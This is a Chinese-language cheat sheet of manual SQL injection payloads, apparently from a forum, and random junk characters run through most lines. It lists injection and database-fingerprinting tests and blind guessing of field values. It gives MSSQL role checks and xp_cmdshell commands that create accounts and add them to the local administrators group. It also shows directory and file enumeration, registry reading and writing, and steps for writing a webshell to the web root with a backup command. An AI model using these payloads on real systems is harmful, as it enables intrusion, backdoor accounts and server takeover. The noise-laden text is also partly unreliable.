手工脚本注入
5 s& B, ~9 v7 _; [0 O3 v$ d' r1.判断是否有注入;and 1=1 ;and 1=2 - M5 x0 l0 b" p" n& k: B
2 T7 v3 I0 F; X# o+ t5 r2.初步判断是否是mssql ;and user>0
$ Z2 R' |) ]" j6 E M: l7 F; h9 L+ G
3.注入参数是字符'and [查询条件] and ''='
2 V0 r% }: L' F5 y# j3 }1 d2 H6 t( Z( N8 ?5 z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' # P# E$ B2 G) q. k, e/ g$ e. I
0 p: n6 N, ]7 }! H: H* e! ^0 Z" o
5.判断数据库系统
0 N( X& p( t* w) \- D;and (select count(*) from sysobjects)>0 mssql ; ]3 @: d% ^8 d) e, A
;and (select count(*) from msysobjects)>0 access x5 [) S2 i2 Q! k6 M7 E, r1 H
, f( ?, {9 E, E6 y+ V* ?$ q l& `
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1 U- k, M3 n0 S% f4 \/ R
8 g' K' w3 w& p H% v' o7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $ B: K. | y8 \5 c, h
8 q0 k( Y8 y* C0 f$ `2 W h' V4 T1 C8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ) l* \' n, w! ?; @2 ^ u$ h
( k& K8 a' v5 K2 L9.(1)猜字段的ascii值(access)
/ Z3 p- W9 y$ |) c;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8 r0 Y1 X, P5 t. b0 N% ?8 a( E4 h
3 F4 s5 D4 j% E, U
(2)猜字段的ascii值(mssql)
$ ^6 F+ S9 B3 S" u;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
2 d3 w: ?1 a0 E- O5 D, B( p
& e# A8 h Z- z8 P$ Q2 Y, p# i10.测试权限结构(mssql) 5 j; Y8 Q0 m. x a" T6 k# z
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) f; A k: p& };and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 m1 `1 q* ~# o
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 A! v' \6 k6 O/ Q0 L7 {* P8 [;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ; Y$ G+ M- b1 ~+ a9 {
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , k' {2 l1 u1 V6 j0 Y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' z1 V" u. s4 J( J% [" v' \& o% i;and 1=(select IS_MEMBER('db_owner'));--
' C- [2 N2 t) t P( r. u, Z, _& f* y r) Z. X! m+ S2 t, z6 u
11.添加mssql和系统的帐户 * U7 e- K3 t9 l
;exec master.dbo.sp_addlogin username;--
- V* A" s% o' D7 M
3 _/ x, p" K/ |2 O" K;exec master.dbo.sp_password null,username,password;--
/ f8 L7 N8 }8 R4 a8 U4 [! [; a ^9 u" v4 V; ^: O
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
* `( U; Z( g/ d# ]* U7 u6 M
u9 z% V, P8 D9 C1 L;exec master.dbo.xp_cmdshell 'net user username password 5 L0 Z6 g+ R0 d' g
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 0 E- x0 Z. J. N& j0 J8 E4 T
& f% V- C: ?6 {2 F;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; D, u8 t6 B+ |. \- x& m+ ?
: B: S c' u- D9 I+ d;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" G- U" d: @0 h$ N9 B& e0 H7 T" |3 K* _
12.(1)遍历目录
" \ l& u5 Q, r7 i- C% G: m+ M6 d1 [* q6 S! J
;create table dirs(paths varchar(100), id int) , _8 U) J3 j$ |# V8 z3 ^0 \/ n
;insert dirs exec master.dbo.xp_dirtree 'c:\' ) g* K. |6 W7 l
;and (select top 1 paths from dirs)>0
! K9 j$ h8 f8 R/ Q;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1 n3 N x- m& J4 ~
) ^0 J" d3 z# B X5 J" Z# ^3 S4 D(2)遍历目录 ) b; g9 D5 T4 W7 ]% _7 p
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- # c/ J4 \6 ^# M9 z8 q4 Q/ W
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 , l/ T0 T$ l( `8 D D! Q3 V' J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
+ F; b1 `& U$ C3 _, y;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 8 ?% k! i- D8 q( m# q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 m6 F+ \! c8 |
6 K) K1 y9 x3 x2 P G
13.mssql中的存储过程
) K, W _' q0 u2 Z& b7 ~* F' H6 V
Z0 A0 c# ^5 L" F9 @! Nxp_regenumvalues 注册表根键, 子键
/ S% ]* Z0 c! ]! v;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 o$ b3 l, o, S- n; k" W7 X* x) W8 c0 m( v$ p% T g {
xp_regread 根键,子键,键值名
! I8 _1 S' n/ X8 _$ X- e8 _;exec xp_regread
# r6 a8 P: ^+ N6 j% ]$ R'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 X8 j! I; z$ z6 v
9 [/ C, {' u/ A8 J5 n! Pxp_regwrite 根键,子键, 值名, 值类型, 值 8 S3 a! a* {9 Z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
, M b% @6 \+ O, h;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
7 L& k4 R; Q, H' I8 V# l4 U0 N+ |! y+ S! v. u) u
xp_regdeletevalue 根键,子键,值名
; Y( S' V& ^4 f& B9 m: V3 `/ q* n9 ?$ M* |6 c0 o2 b1 D/ v, Z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4 L4 a2 x \* w% S. e, |8 @ l
& D* j0 d+ Y) o0 i; A2 V
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
4 V. O$ j; @) b) m$ ` r% c4 g7 ?1 J- k
14.mssql的backup创建webshell ' h: Z, Z& q& E5 @" @! j1 J
use model
# A V/ X6 c9 A( K/ w) {, jcreate table cmd(str image); * P9 j5 h9 h- }' [" k
insert into cmd(str) values (''); + I& U. H* s* V- x5 r0 O4 |) d4 R
backup database model to disk='c:\l.asp';
; Q# J' g4 s3 O& D
2 B# H4 d+ Z8 M- }, S4 b" }15.mssql内置函数
1 F: F7 i1 ?# o. E;and (select @@version)>0 获得Windows的版本号 / J; j5 G7 N: A- k/ Z6 D. k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; U4 {$ B$ |3 r8 Y;and (select user_name())>0 爆当前系统的连接用户 1 I* n8 i# Y, r
;and (select db_name())>0 得到当前连接的数据库
3 B. G( @0 r+ h8 a6 P/ B$ {7 B& O$ c( H% |. z/ k. K
16.简洁的webshell
4 _1 C& R4 F8 P$ ]% h: B
j0 c1 H, i( _; t ?% z3 I4 }use model
! E7 X0 r1 ]- l/ c+ k9 X
" r* |( c" o1 E% j, fcreate table cmd(str image); " b. [+ A$ Z. A, {- j# R4 q
) K6 Q2 P, o" s% Cinsert into cmd(str) values (''); 5 P+ {9 G! D* P5 Z4 B$ y/ [( x
% \- f! C0 S( {& s( R4 k2 K$ ?
backup database model to disk='g:\wwwtest\l.asp'; # d# C& L$ q4 a5 P& c. h
* c/ c/ k- _2 k4 K; s/ a7 M/ |; |7 F
|